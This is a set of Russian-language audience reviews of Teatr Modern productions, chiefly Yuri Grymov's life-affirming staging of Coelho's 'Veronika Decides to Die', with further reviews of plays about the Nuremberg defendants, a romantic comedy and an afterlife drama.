Несмотря на серьезность темы, спектакль просто пронизан юмором. На сцену выносили огромные таблетки, периодически появлялась дама с торшером на голове, персонажи произносили множество шуток. А как еще может быть в психушке?
В спектакле хорошо подобраны костюмы персонажей: у каждого больного есть какой-то элемент пижамы с животными. Боги, одетые в золотистые цвета, хорошо выделяются на фоне других персонажей.
Музыка подобрана просто превосходно, звучало все: и классика, и рок.
Спектакль идет 2 часа 40 минут с антрактом. Это время проходит просто незаметно. Данный спектакль позволяет нам осознать ценность каждого мгновения жизни. Он заставляет задуматься о том, что на самом деле важно для нас и как важно начать ценить каждый день, каждый момент своей жизни, каждую радость и каждое испытание.

Любимый театр «Модерн» снова радует премьерой!
И в этот раз по одной из моих любимых книг, которую в начале двухтысячных мы с подружками зачитывали до дыр – «Вероника решает умереть» Пауло Коэльо.
Мне кажется, краткий смысл этого романа знаком каждому. А вот новая постановка Юрия Грымова – это авторский взгляд, в котором сохранена основная сюжетная линия, но большая часть постановки - отличается от классической версии, раскрывая историю Вероники еще более глубоко и содержательно.
Главная мысль, которую стремится донести до зрителя режиссер, это то, что: в разные периоды жизни каждый из нас сталкивается с трудностями, конфликтам, которые мы проживаем по-разному. И каждый из нас, примеряя на себя решение главной героини, беря на себя ответственность за свои действия, должен помнить, про окружающих его близких людях. Ради которых необходимо ценить жизнь и учиться справляться с любыми сложностями. Человек обязан верить в свою жизненную силу.
А доносит Юрий Вячеславович, эту мысль, как обычно очень нестандартно, преподнося первоисточник с неожиданной стороны.
Так, в стенах психбольницы, в которой оказывается Вероника, после неудачной попытки самоубийства, мы встречает не только знакомых с книжных страниц героев, но и целый пантеон египетских богов, которые берут шефство над своими подопечными Вероникой и Эдуардом.
Итак… Доктор Игорь (так же новый, не книжный персонаж) сообщает Веронике, о том, что хоть попытка самоубийства и не увенчалась успехом, в связи с употреблением смертельной дозы препаратов, в организме был запущен необратимый процесс, который в течении 6 дней приведет её к неминуемой смерти.
Именно это сообщение, становится для главной героини переломным моментом, с которого она становится настоящей, разрешает себе испытывать чувства и эмоции, которые она не позволяла себе ранее и проживает вместе со зрителем свои «последние» шесть дней.
Каждый новый день – новая история, новые люди с их бедами и болью, которых встречает Вероника. И каждый день, это маленький шаг, на встречу любви к жизни, осознанию её ценности и важности.
«Вероника решает» - это одновременно сказка со счастливым концом, которая дает надежду и оставляет приятное послевкусие и сложная философия, заставляющая задуматься.
На сцене играли потрясающие актеры. Анастасия Сычева убедительно исполнила роль Вероники. Очень люблю эту актрису и смотрю с ней не первый спектакль, но эта роль в её исполнении – стала моей любимой. А как она пела! Впечатлило.
Эдуарда прекрасно сыграл Лев Смирнов - «убедив» зал в своём диагнозе.
Немного «сумасшедший гений» - Доктор Игорь, роль которого взял на себя Роман Зубрилин – прекрасно дополнил своим присутствием спектакль.
А какие красивые, яркие, облачённые в потрясающие костюмы египетские Боги: Ра - Дмитрий Бозин, Осирис - Александр Мирлюнди (Жуков), Шу - Александр Сериков, Бастет - Марианна Канивец, Тот - Александр Колесников.
Жанна Чирва, игравшая одну из пациенток клиники - Зедку, тронула зрительный зал до глубины души своей одновременно ироничной, грустной и очень жизненной историей.
Стелла (Любовь Новак) мать Эдуарда и отец (Леонид Трегуб) – ярко показали, как можно радуясь улучшению состояния сына продолжить «вставлять ему палки в колеса» лишая возможности распоряжаться собственной жизнью.
Поддерживает тему детско – родительских отношений и Надежда Меньшова сыгравшая роль Анны – матери Вероники. Которая реализует своё желание играть на пианино через дочь. Многим знакомо, правда?!)
Спектакли Ю.Грымова невозможно представить без качественной культовой музыки. «Вероника решает» - не стала исключением – отлично подобранные композиции – усилили впечатление от постановки.
Резюмируя вышесказанное, смело могу утверждать, что копилка театра «Модерн» пополнилась еще одной сильной, запоминающейся постановкой!

Театр "Модерн" и Юрий Грымов порадовали своих почитателей премьерой спектакля "Вероника решает" по роману знакового бразильского писателя. Вероника (Анастасия Сычёва) решает умереть по умозрительным причинам, которые она наперёд интегрирует в свою жизнь. Попытка суицида, к счастью, оказывается безуспешной. Но когда звучит приговор врачей, что лишь несколько дней отделяют её от смерти(вследствие необратимых последствий, запущенных принятием смертельной дозы препаратов), сознание 24- летней девушки меняется, и вместе с ней зрители проживают эти сгорающие, как свеча, последние дни в приюте для душевнобольных.

Замкнутое пространство, в котором существуют только пациенты, заполняющие свою карту желаний, мнимые больные, медперсонал и редкие родственники- посетители встречают зрителя в коридорах и палатах психиатрической больницы. У каждого героя есть свой музыкальный ритм: характер, опора, персонаж. Гипербола присутствует во всех деталях: от таблеток размером с подушку, пижамам пациентов с зоопринтом,который виден даже из-под бархатных одежд, оставшихся от прежней жизни до спасителей Вероники в образе божеств. Царственные костюмы,расшитые золотом, восхищают (художник по костюмам Ирэна Белоусова). Световое решение является полноправной частью действия спектакля: освещает образы, акцентирует внимание на деталях. Из декораций - ванна в стиле модерн в древнеегипетских картушах похожа на ладью на реке Стикс. Спящий папа Римский в немом присутствии на сцене. Вентиляторы с вращающимися лопастями придают казенность всей обстановке.
В час Х пол и потолок сцены меняются местами и вентиляторы растут на сцене, как цветы жизни (или торчат из земли, как предупреждающие знаки), а ванна с иероглифами и спящий Папа в кресле Ватикана оказываются наверху.
Постановка максимально адаптирована к веку технологий: чтобы нарисовать портрет, нужно скачать приложение и тогда даже не испачкаешь руки красками. Для того чтобы выжить - нужно пройти квест, о котором извещает сам Бог Солнца Ра (Дмитрий Бозин).
А ещё звучит челлендж о том, что надо хвалить человека: ведь всё плохое он знает о себе сам, а о своих хороших чертах и поступках возможно и не догадывается.
Юрий Грымов признался, что не хотел бы, чтобы знакомство с его театром начиналось со спектакля "Вероника решает". Свой недостаток как режиссёра-постановщика он видит в "слишком плотном ведении зрителей к цели". Если учесть, что целью постановки является напоминание, что любовь к жизни и окружающим тебя людям должна превалировать в поведении каждого - это оправдывает все средства для её выражения.
И хотя я путешествовала по Словении, ходила с экскурсией по Люблянам и фотографировалась у памятника великому словенскому поэту Франце Прешерн, всё равно не хотелось бы стать триггером для условной Вероники. Хочется, чтобы в Череповце на главной площади Металлургов обязательно дарили цветы и улыбки всем без исключения, ведь душевные раны залечиваются только любовью и вниманием.

06.03.24 первый раз побывала в театре "Модерн" и сразу попала на премьеру!
Ярко, необычно, оставляет впечатление.

В своём новом спектакле «Вероника решает…», авторской интерпретации романа Паоло Коэльо, режиссер Юрий Грымов исследует зыбкие грани «нормальности».



Вероника попадает в психиатрическую клинику после неудачной попытки самоубийства. Доктор Игорь сообщает, что её здоровью нанесён непоправимый урон и жить ей осталось всего 6 дней, которые она здесь и проведёт.

Вероника – заботливая мать, хорошая жена, их семья – пример счастливого брака… А так ли это? Общество заставляет её играть эту роль. Не «выносить мусор из избы». А годы идут, боль, разочарование, неприятие себя в этой роли накапливается и происходит взрыв – Вероника решает умереть…
Её монолог, сначала смешной, становится пугающе серьезным. Зрители, сначала сдержанно хихикавшие, больше не улыбаются… Они узнают в Веронике себя: брак под давлением общественного мнения, рождение детей и ипотека как отчаянная попытка скрепить распадающуюся семью, идеальные супруги, на людях держащиеся за руки, а дома – чужие.
И как будто это не мы наблюдаем за ней, а она со сцены смотрит в зал и наблюдает за нами.
Новое окружение Вероники - другие больные, не вписывающиеся, неудобные, отторгаемые «нормальным» обществом. Зедка, одержима безответной любовью. Мари, уставшая вывозить на себе брак и бизнес. Седой господин, не принявший потерю любимой жены. Эдуард, замкнутый художник, отказавшийся от карьеры дипломата, уготованной ему родителями. А безумны ли они?
Как сказал Юрий Грымов «пациенты больницы - это все ВЫ, это все – Я».

Мир Вероники переворачивается, она начинает иначе воспринимать своих новых друзей и жизнь. В буквальном смысле сцена переворачивается. Декорации Марии Соловьевой меняются – пол становится потолком и наоборот.

В спектакле много музыки – песни Scorpions, Prince, Status Quo.
Удивительные и неожиданные костюмы Ирэны Белоусовой.
Много движения и света. Художник по свету Мария Артеменко.

Что с Вероникой случится через 6 дней? Вернется ли к ней любовь к жизни? Мне спектакль понравился, задел за живое. Приходите и смотрите Это нужно пережить самому, пропустить через себя.

Через несколько дней после того, как побывала на премьере в театре "Модерн", прихожу к выводу, что спектакль "Вероника решает..." хочется посмотреть хотя бы еще раз, чтобы максимально проникнуть в бездну глубинных смыслов, которые вложил в него Юрий Грымов. Моя увлеченность визуально-эстетической частью спектакля немного затмила философскую сторону вопроса. Режиссер вообще любит "напустить тумана", чтобы зрителям было о чем поразмышлять, но в этот раз на сцене все в прямом смысле было туманно и загадочно. Если считать, что книга Пауло Коэльо "Вероника решает умереть." имеет понятный, и изо всех произведений знаменитого писателя самый подходящий для театральной постановки сюжет, то режиссер "Модерна" сделал все возможное, чтобы усложнить задачу потенциальному зрителю, создав из простой психушки, куда попадает героиня, собственный сложный и загадочный мир. Я читала книгу настолько давно, что подробности стерлись из памяти, но вряд ли там у каждого пациента были хранители в виде целого пантеона древнеегипетских богов. И вообще, все пребывание Вероники в лечебнице после неудачной попытки свести счеты с жизнью похоже в спектакле на один причудливый сон. А во сне подсознанию легко разгуляться и увидеть в докторе Игоре(Роман Зубрилин) Альберта Эйнштейна, поменять местами пол и потолок, или выслушивать советы от египетского божества Ра с потрясающей фактурой Дмитрия Бозина. Надо признаться, образ высшего существа ему очень идет, равно как и характер неуверенной в себе и разочарованной в жизни Вероники подходит для Анастасии Сычевой. Юрий Грымов сразу видел свою Веронику только в ней. Актрисе замечательно удалось передать постепенно просыпающуюся жажду жизни, пройти весь путь от отчаяния полной безнадежности и разочарования, что попытка не удалась, до столь же безоговорочной уверенности в собственных силах. Пациенты лечебницы, делясь своими личными драматичными и порой трагичными историями, помогают ей прийти к убеждению, что ее собственная жизнь не так уж плоха, тем более, что в ней появляется неожиданная, странная любовь, возникшая из сострадания и желания помочь и защитить, и развившаяся в глубокое чувство, еще более острое от уверенности Вероники в скорой смерти. Те шесть дней, которые по задумке доктора были отпущены ее слабому сердцу, она пытается прожить максимально полно, изучить мир, который ей вскоре предстоит покинуть и людей оказавшихся рядом. Сумасшедших, или же вовсе нет? Скорее несчастных, потерявших надежду, как она сама, ушедших глубоко в себя, брошеных, как Зедка (великолепная Жанна Чирва и ее пронзительный монолог), или потерявших любимого человека, как Седой господин(Александр Борисов). Она не только сама становится сильнее, но и пробуждает жажду жизни в других. Любовь совершает чудо с влюбленным в нее Эдуардом(Лев Смирнов). До ее появления он не жил, а существовал внутри созданной им самим защитной оболочки, которую не могли пробить ни врачи, ни родители, любящие его, но совершенно не понимающие. А теперь он "вылупляется" из своего кокона и летит вместе с Вероникой на свет, пусть ненадолго, пусть обжигая крылья.
У спектаклей Модерна всегда говорящие афиши. Символично, что на афише спектакля "Вероника решает..." тот самый мотылек, летящий к свету, точнее бабочка "Мертвая голова". Символ загадочный и спектакль один из самых загадочных у Юрия Грымова. По словам режиссера, и один из самых технологически сложных. Художники по свету немало потрудились, чтобы создать тот самый туманный ореол вокруг героев и предметов. Рисунки Эруарда создаются в реальном времени, проявляясь на огромном экране и отражая его внутренний мир. Музыкальный ряд порой довольно неожиданный и очень разноплановый, начиная с Бетховена и заканчивая Scorpions и Status Quo. А в финале неожиданный подарок - диско-хит "YMCA". Как всегда, великолепны костюмы Ирэны Белоусовой, от золота одеяний египетских богов, забавных пижам пациентов с силуэтами, кажется, медведей, красного императорского наряда Зедки и ее "индейского" головного убора из перьев, и до чудесного полупрозрачного пышного платья самой Вероники и ее трогательных кед. Уверенность в себе героини крепнет и вот она уже не боится сыграть на рояле "Лунную сонату" и даже спеть! Близость смерти обостряет в ней все чувства и толкает на побег. Вероника многое для себя решает за эти шесть дней, но главное ее решение - жить, как бы ни было трудно и больно, и не терять надежду.
В замечательном фильме "Обыкновенное чудо" есть фраза, которая, как мне кажется, очень подходит к идее спектакля : "Слава храбрецам, которые осмеливаются любить, зная, что всему этому придёт конец. Слава безумцам, которые живут себе, как будто бы они бессмертны».
Может и не случайны медведи на пижамах...

Премьера спектакля "Вероника решает..." в театре

"В разные периоды жизни мы по-разному ощущаем этот мир и свое место в нем, испытываем конфликты. Но мы должны верить в свою жизненную силу. Только Любовь и люди, которые нас окружают, помогут нам справиться с любыми трудностями. Нужно научиться ценить жизнь и верить в себя". - Юрий Грымов.

Книга бразильского писателя Пауло Коэльо называется "Вероника решает умереть". Режиссер спектакля Юрий Грымов оставляет в конце названия многоточие, назвав бестселлер Коэльо самым жизнеутверждающим.

Моё знакомство с книгой произошло еще в начале двухтысячных, на тот момент книга меня зацепила, задела, потрясла, поэтому я рада возможности попасть на пресс-показ спектакля и одной из первых увидеть новый взгляд на одну из моих любимых книг...

Не буду пересказывать текст, если в кратце, то Веронике, спасённой после попытки суицида, предоставляется шесть дней жизни, в течение которых она заново обретает ее смысл, ну и естественно здесь замешена любовь, куда уж без нее.
Открывается занавес и зритель попадает в нереальный мир, или некое пространство, населенное разными персонажами: живые и мертвые, сумасшедшие и здоровые, несчастные, одинокие, но все они существуют с надеждой на лучшее. Очень необычные, минималистичные декорации, то ли ад, то ли рай, полумрак... ничего не должно отвлекать зрителя от размышлений о смысле и ценности жизни.
Каждый знает, что умрет, но не каждый задумывается, когда именно это произойдет. Вероника, жившая в ожидании смерти, заставила многих осознать то, что осознала сама, а именно конечность жизни. Решения, которые мы не приняли сегодня, возможно, не будут приняты никогда. Завтра может быть поздно. Годы летят, а в жизни так ничего и не меняется, или меняется, но в худшую сторону. Только тогда приходится осознать: прожито много, а сделано мало. Время, данное человеку, не бесконечно, и оно не используется должным образом. Наверстать упущенное невозможно, кажется, что все уже потеряно, и это нередко становится причиной депрессии и, как следствие, самоубийства.

Мне кажется эта постановка будет интересна и подросткам, как раз переживающим период взросления, осознания себя, как личности, своих желаний и планов на будущее. Спектакль учит нас зрителей, что нужно с увереность идти к своей мечте, прислушиваться к себе, любить себя...ведь мы у себя одни. Вероника, полюбив пациента из психушки Эдуарда, только тогда стала понимать ценность жизни, это же чувство вернуло в реальность и ее возлюбленого. Их проблемы и причины, которые привели в психушку, шли из семьи.
"Если кому-то важно, что ты делаешь, он не даст тебе упасть". Вероника в психушке столкнулась с разными людьми, выслушала их переживания и боль, ей было важно, как и чем они живут, часто умение слушать и понимать, это своего рода психотерапия, которая порой эффективнее таблеток и врачей.

Не могу не отметить и великолепную игру актёров : Анастасии Сычёвой (Вероника, покорившая зрителей еще и своим вокалом), Жанны Чирвы (одна из пациенток, заслуживающая не меньших оваций, как и главные герои спектакля). Да вообще весь "золотой состав" театра, как всегда великолепен, что уж там говорить!

Юрий Грымов ввел персонажей, которых не было в самой книге: доктора Игоря, похожего на Альберта Эйнштейна, а также нескольких богов в золотых нарядах. Великого Бога Ра играл Дмитрий Бозин, его бог ироничен и человечен, обладает огромной душевностью в отношении людей, которым и так пришлось не сладко. То ли бог, то ли такой же сумасшедший, но его метод о последних шести днях жизни сработал, жизнь победила.

Как всегда Ю. Грымов для усиления эмоционального эффекта прибегает к ярким и необычным костюмам, игре света и оригинальному музыкальному оформлению, где мы слышим популярные мелодии Scorpions, Prince, Status Quo.
Актерам Браво! Поздравляю с премьерой!

Я уже несколько лет стараюсь не пропускать премьеры в театре Модерн. И новый спектакль "Вероника решает..." посмотрела в числе первых, конечно.
Как очевидно из названия, в основе спектакля лежит роман Паоло Коэльо "Вероника решает умереть". Однако поклонники книги могут ее и не узнать - Юрий Грымов представил нам свой авторский взгляд на мировой бестселлер (пьеса - Марина Сулчани). Основная линия, конечно, сохранена, но и привнесено много. Да вот хотя бы египетские боги... Но по порядку :)
Постановка - просто гимн желанию жить, и это прекрасно. Главная героиня проходит путь от полного отчаяния до любви. Это полное, на 180 градусов, изменение ее намерений, восприятия мира и себя в нем потрясающе обыграно в спектакле (художники-сценографы Мария Соловьева и Юрий Грымов). Но пересказывать историю не хочется, просто поверьте - это очень светлый спектакль, о вере в себя, о ценности жизни, о Любви.
Впрочем, постановка эта, хоть и абсолютно в стиле Юрия Грымова: все в ней подобрано и продумано идеально, от музыки и костюмов, до каждой сцене, все же совершенно не похожа на прочие спектакли театра. По крайней мере, на мой взгляд. Очень интересен контраст между этакой безуминкой (которая сама по себе вполне оправдана, учитывая место действия истории) и серьезности темы. Использовали, кажется, все возможности для создания нужной атмосферы: свет (как всегда, браво!), дым, шикарная подборка музыки (и снова браво!), видеопроекции (интересный выбор картин!), дождь из блесток, вода, светящиеся в темноте "глаза", вокал и настоящая игра на пианино и целый сонм древнегреческих богов вместо "внутреннего голоса" Вероники.
Анастасия Сычева в роли Вероники, конечно, совершенно прекрасна! Вот просто и-де-аль-на. Слов у меня больше нет, просто поверьте :) Когда я читала книгу, я, кажется, так себе Веронику и представляла.
Доктор Игорь в исполнении Романа Зубрилина получился чудесный - именно такой немного сумасшедший гений, каким и должен быть :)
Очень трогательна Зедка (Жанна Чирва) со своей историей придуманной любви. Что-то почти до смеха сквозь слезы.
Эдуард (Лев Смирнов) всем хорош. Высок, красив, молод... И убедителен в своем состоянии. У меня лично есть только одно замечание - на мой субъективный взгляд немножко было переусердствованно с, ммм... особенностями вновь обретенной речи.
Конечно, отдельное чудо - бог Ра в исполнении Дмитрия Бозина. Тут его фирменная пластика и завораживающий голос пришлись более чем кстати. Во-первых, это красиво... :)
Остальные боги тоже прелестны :)

Подводя итог всему вышеизложенному могу сказать, что в театре Модерн появился еще один интересный, безумно красивый и очень сильный спектакль. Поздравляю всех сопричастных с премьерой!

"Вероника решает..." в театре Модерн

В театре "Модерн" снова премьера: Юрий Грымов поставил спектакль "Вероника решает..." по знаменитой книге Пауло Коэльо "Вероника решает умереть". Конечно же я читала этот роман, когда на переломе веков у нас начали печатать книги Коэльо и ими зачитывались практически все. На сколько помню, "Вероника" мне не понравилась. Она царапала душу непривычной откровенностью, острыми гранями чужой судьбы, проблемами, через которые в той или иной степени проходит каждый, но о которых так хочется забыть. Спектакль я все же решилась посмотреть: интересно было увидеть роман в интерпретации Грымова, который всегда глубоко копает и разворачивает первоисточники неожиданной стороной. Думаю, что Коэльо очень удивится, если когда-нибудь увидит то, что получилось: больше половины действующих лиц, выведенных на сцену, напрочь отсутствуют в его книге, действие перенесено из реальности сумасшедшего дома в эфемерное пространство египетских богов. Боги берут в свои руки судьбы Вероники (Анастасия Сычева) и Эдуарда (Лев Смирнов), а идти против воли богов сложнее, чем против воли родителей. Зато попав после неудавшегося суицида в психиатрическую клинику, Вероника выпускает на свободу себя настоящую. Уверенная, что жить ей осталось недолго, героиня наконец начинает жить на полную катушку, позволяет себе испытывать эмоции, проявления которых всегда боялась. Оставшиеся ей дни жизни горят на заднике адским пламенем (художники-сценографы Мария Соловьева и Юрий Грымов), больничная ванна похожа на древнеегипетский саркофаг, а о месте действия напоминает проекция мунковского Крика. В пространстве между жизнью и смертью, христианские клирики спят даже подвешенные вверх тормашками, зато древние боги чувствуют себя как дома. Бог Солнца Ра (Дмитрий Бозин) возлагает на Веронику божественный венец, он и защитница Бастет (Марианна Канивец) выводят героиню из загробного царства Осириса (Александр Мирлюнди (Жуков)).
Юрий Грымов поставил спектакль, глубину которого невозможно охватить за один просмотр. Великолепные костюмы и грим (художники Ирэна Белоусова и Наталья Тимофеева), бездна музыки (звукорежиссер Андрей Лоскутов, музыкальное оформление Юрий Грымов), пиршество света (Юрий Грымов, Мария Артеменко) обрамляют пласты смыслов, которые мне еще предстоит постичь.

"...Нет ничего страшнее фашизма" - этими слова можно и начать и закончить спектакль Юрия Грымова "ЦВЕТЫ НАМ НЕ НУЖНЫ".
Спектакль поставлен в Театре "МОДЕРН" по пьесе Надежды Селивановой, в котором главными действующими лицами становятся участники Нюрнбергского процесса.

Нюрнберский процесс - это та история, которую должен знать каждый, она необычайно важна, это история о преступлениях совершенных перед всем человечеством.
Весь спектакль на 90% - это исторические факты, это наше реальное прошлое, от мысли об этом у меня реально стынет кровь. Столько смертей простых людей, грабежи, произвол, какая-то нечеловеческая жестокость творилось руками героев спектакля. Да это не просто спектакль, это разговор со зрителем об истории, о людях, о нас с вами.
Я уверена, что вы все знаете про Нюрнбергский процесс, это одно из важнейших событий XX века. Мы увидели, как стремительно развивался наш мир, как взаимодействовали четыре ведущие державы (Россия, Англия, Франция, Америка), как люди воспринимали ужасы *****, что осталось нам после победы над фашизмом, а также о совести перед другими и самими собой.
Действие спектакля начинается в зале суда, когда мы прошли в зал, занавес уже был открыт, актеры сидели на скамьях подсудимых, шел процесс. Несколько человек приговорили к смертной казне, а вот семерым более чем повезло, их приговорили к 10, 20 годам заключения, а троим дали пожизненный срок.
Далее действие продолжается в тюрьме Шпандау, куда были помещены осужденные, в спектакле ************* временной отрезок с 1946 по 1966 годы.
Перед нами серые будни осужденных на фоне ярчайших мировых событий, которые проходят мимо них, за толстыми стенами тюрьмы, как отголоски грома, вдалеке, причем доходящие до них, подвергшись жесткой цензуре. Власть сменяет одна другую, люди освоили космос, некий Юрий Гагарин из СССР полетел в космос, Карибский кризис, да, много всего интересного прошло мимо них.
Арестанты пытаются ввести нас в заблуждение, всячески демонстрируют раскаяние, признают свои грехи и ошибки, симулируют болезни и сумасшествие, на мгновение нам становится их жаль, появляется какое-то сострадание и вера в то, что они не такие уж и плохие, да, совершили преступление, но они понесли наказание, сожалеют, исправились.
Но все это игра, четкий план, манипуляция, все это ложь. Их истинные лица откроются перед зрителем в финале спектакля. Это люди - хамелеоны, ничего в их душах не изменилось, они лишь подстраивались под текущие обстоятельства, и, выйдя на свободу, они также будут нести в мир идеи ********** и фашизма.
Наиболее ярко среди этих арестантов выделяются две фигуры: Рудольфа Гесса ( Юрий Анпилогов ❤️), второго человека после Гитлера, и Альберта Шпейера #ВадимПинский ), архитектора, ставшего министром военной промышленности нацистской Германии. Гесс, кстати, был приговорен к пожизненному сроку, при этом дожил до 93 лет и совершенно не раскаялся, он так и остался жестким нацистом.
Я очень прониклась симпатией к Альберту Шпееру, который наматывал круги, отсчитывая шаги и километры, складывая их в длинные пешие маршруты, по его подсчетам он добежал аш до Бразилии. Он помогал и поддерживал других, он даже спас охранника, помог не попасть под выговор. Не зря его называли единственным "хорошим нацистом". Но, как мы поняли, нацисты хорошими не бывают.
В целом внешне он выглядел образцом благородства и порядочности. Потрясающая актерская игра Вадима Пинского, который так умело провел зрителей, мы все ровно до последней сцены верили ему! Но все изменил финальный разговор его и Рудольфа Гесса в исполнении не менее мощного и любимого мною Юрия Анпилогова .
И тут я поняла, что меня обманули, и, если честно, я испытала настоящую злость и отчаяние. Не хочу спойлерить, здесь нужно обязательно посмотреть и прочувствовать финал, который снял маски, и вернул все на свои места.
Периодически на сцене появляются некие персонажи, о значении которых стоит только догадываться. Люди в белом, как мне кажется, это человеческие души, к гибели которых причастны арестанты, они всю жизнь будут появлятся перед ними, напоминая о себе. И черный ангел со шваброй, появляется, когда кого-то из осужденных выпускают на свободу. Он как будто убирает тюремное пространство после освобождения очередного фашиста...это его территория.
Декорации минималистичны, только мраморные кубы, приглушенный свет и вечно перегорающая лампочка тюремной камеры.
Интересны костюмы актеров, которые меняются со временем. Происходят изменения в мире, которые касаются уже и самих заключенных, им уже разрешают носить домашнюю одежду, форма охранников тоже изменяется.
На спектакле я была вместе со своим сыном подростком, и что хочу сказать: нашу историю нужно учить, ее надо знать, чтобы не допускать и не совершать подобных ошибок в будущем.
Спектакль очень сильный за счет своей правдивости и потрясающей игры актеров. Он заставляет действовать. Мы не должны молчать и забывать свою историю.

«#Хочунемогу» спектакль в театре Модерн режиссера Сергея Аронина, тот самый случай, когда, действительно, было интересно посмотреть, очень хотелось, но не получалось. Зато теперь уверенна на этот спектакль пойду снова и снова.
Что же такого классного в этой постановке, почему на неё стоит сходить? Первое, что привлекает – много живой музыки, вокала, стихов и танцев. На сцене музыканты-артисты с клавишными, кахоном, губной гармошкой, гитарой и бас-гитарой. Врываясь в ритм спектакля, они делают вечер в театре ярким и незабываемым. Особенно был зажигательным танец заслуженной артистки России Маргариты Шиловой, без улыбки вспоминать невозможно.
Второе, что тоже понравилось, пьеса «Я боюсь любви» Елены Исаевой, положенная в основу постановки, написана с любовью к людям и хорошим юмором, поэтому скучно не будет. Зритель непременное увлечется неожиданными поворотами сюжета. Кроме того, в пьесе, как и женские, так и мужские персонажи прописаны ярко, очень жизненно и смешно, поэтому сопереживать будет весь зал, независимо от пола, поверьте, многие хохотали в голос. И еще стихи Елены Исаевой – их тут будет много, и они все об самом личном, поэтому слушаются зрителем с большим интересом.
Третья черта, которая привлекает, это главная жизнеутверждающая мысль спектакля, что, не смотря на старые ожоги от воспоминаний, неудачный опыт, боль потерь – нужно перестать бояться и позволить себе любить вопреки всему этому никому не нужному багажу. Потому что любовь – это лучший способ потратить время в жизни. Внимание, на мой взгляд, спектакль заменяет поход к психотерапевту.
На сцене играют шесть актеров и шесть актрис, но персонажей, показанных зрителю гораздо больше, поэтому люди с интересом следят за сменой объектов любви и жизненными хитросплетениями. Это история, откровенно рассказанная Надей (Надежда Меньшова) про свою подругу Аню (Мария Орлова), которой встретился на пути мужчина достойный любви, Сергей (Алексей Баранов). Играют очень хорошо, браво!
Очень понравилась мне в этом спектакле Ольга Гапоненко, которую раньше не видела: экспрессивная, интересная и яркая на сцене и прекрасно поет. Захотелось посмотреть её еще.
Сам режиссер, Сергей Аронин, тоже играет две роли: Леши и Кирилла, очень тонко, иронично, с юмором, образы очень характерные и запоминающиеся.
Хочется отметить всех актеров, они играли с огоньком. Заслуженный артист России Леонид Трегуб, виртуозно исполнил три роли и тоже невероятно понравился. А какая смешная тут Марина Дианова! Особенно смеялась над изображением актрисы Зелинской. И, конечно, такой браслет, как у неё пригодится всем театралам. Как всегда, безупречен Алексей Багдасаров, точно и интересно. Евгений Казак, особенно запомнился в роли художника, очень здорово получилось. Александра Богданова так сыграла дочь Ани, что было от ребенка не отличить. И, конечно, яркая Маина Чижевская украсила своей нежной ролью спектакль.
Если сравнить этот спектакль с напитком, это будет бокал легкого, игристого шампанского, которое привносит в вечер легкое хорошее настроение и желание веселится. Поэтому постарайтесь попасть на этот карнавал любви, не пожалеете.
Так же хочу похвалить сам театр. Безупречное вежливое обслуживание, уютное кафе на первом этаже и библиотека на втором, красивые фотозоны для зрителей, интересные сувениры – все это делает посещение театра приятным вд***** и вызывает желание вернуться. Большое спасибо всем, кто работает в этом театре.

В Театре "МОДЕРН" состоялся показ дебютного спектакля молодого режиссёра Шамиля Мухамедова , "Страсти по Торчалову", созданный по мотивам одноименной пьесы Никиты Воронова. Спектакль о любви и прощении, наталкивающий на глубокие философские раздумья. Давно я не видела таких постановок, которые затрагивали бы весь спектр эмоций.

Что может объединить красноармейца, крепостную горничную, партийного функционера, шофёра и бандита из лихих 90-х? "Зал ожидания", в котором придётся долго и тщательно анализировать поступки, совершенные при жизни. Здесь не важно, кем ты был по статусу, а главное, что ты сделал. Не вспомнишь свой большой грех, не услышишь заветный звоночек. И будешь долго мучиться, катаясь на "тутошнем" трамвае по кругу (то есть, в никуда), бродить по коридору, пить чай и смотреть новости по телевизору.

Герои здесь думают, размышляют, заглядывают в себя (а это иногда, пострашнее будет), осмысливают прожитое вместе со зрителем.
Торчалов Павел Максимович, реформатор (Александр Борисов) попадает в место "временного пребывания" будучи трусливым и подлым стукачом, но по мере развития сюжета, раскрывается и меняется в лучшую сторону. Его герой становится духовно богаче, сочувствует и сопереживает бунтарю красноармейцу Сашке Пыжову (Евгений Невар). Обращаясь с искренней молитвой к Всевышнему, он освобождает от страшной участи того, кто держал в страхе обитателей "общежития".

Совершенно по новому раскрылась как актриса Маина Чижевская (в роли Риммы, коменданта-психолога) внешне строгая и жёсткая, на ее допросах уж точно придётся переступить через гордыню, самоуверенность и эгоизм. В то же время, искренне пытается помочь душе, застрявшей на полпути обрести свое место.

Мудрая и добрая Лиза, в исполнении Надежды Меньшовой ("женщина тяжёлой трудовой судьбы"), точное попадание в образ. Она знает, что значит стать "богаче". Харизматичная игра Фотиса Келепуриса, в роли каптенармуса Степана, и потрясающая игра двух таких разных по характеру персонажей отца и сына Кушкиных (в роли Алексей Богдасаров) оставили у меня неизгладимое впечатление. Браво великолепному актерскому мастерству и сильной режиссерской работе) Хочется пожелать режиссеру творческих успехов и благодарных зрителей.

Около двух часов зрителям, пришедшим на премьеру Театра «Модерн» «Страсти по Торчалову» предстоит вместе с персонажами одноименной пьесы драматурга Никиты Воронова, написанной в конце 90-х годов, пробыть между небом и землей, в пространстве, где пустой «трамвай в темноте ходит по бесконечному кругу, где переплетаются времена и воспоминания, в которых Пушкин зажимает барышень по углам и пишет обидные стишки и горит Москва 1812 года, и где можно посмотреть новости по Первому каналу...»
Иcтория, приключившаяcя с oдним из лидeров Перестройки - Павлом Максимовичем Торчаловым (его потрясающе играет Александр Борисов), сoвсем нe смешнa. Он окaзался в «залe ожидaний» пeред вхoдом в загрoбную жизнь, кудa, согласно фантазии автора пьесы, пoпадает всякий, ктo «oтбыл из мирa живых».
Вмeсте с Торчаловым здeсь прeбывает мнoжество людeй, нe мoгущих пока нaйти упокоeниe. Ведь для этoго им нeобходимo вспoмнить и пpизнать наибoльший грeх, сoвершенный ими в жизни. А он далeко нe всeгда очeвиден. Лизонька (обаятельнейшая Надежда Меньшова) смогла его осознать лишь спустя где-то полторы сотни лет, проведенных здесь, Кошкин (Алексей Багдасаров) – через сорок, да и то, очень удивился, услышав звоночек, возвещающий об этом. Пламенный революционер Сашка (Евгений Невар) всячeски пpотивится осoзнанию свoей глaвной вины, дa ещe такoй, пeред котoрой блeднеет дaже учaстие в раccтреле цаpской сeмьи в пoдвале дoма Ипaтьева. И его уже дважды отправляли жить нa зeмле пo новoму кpугу. Торчалов считает, что главный его грех – это написанный им когда-то донос, в результате которого человек умер. Но так это или нет, мы не узнаем. Других грехов за собой, в начале спектакля, он не признает...
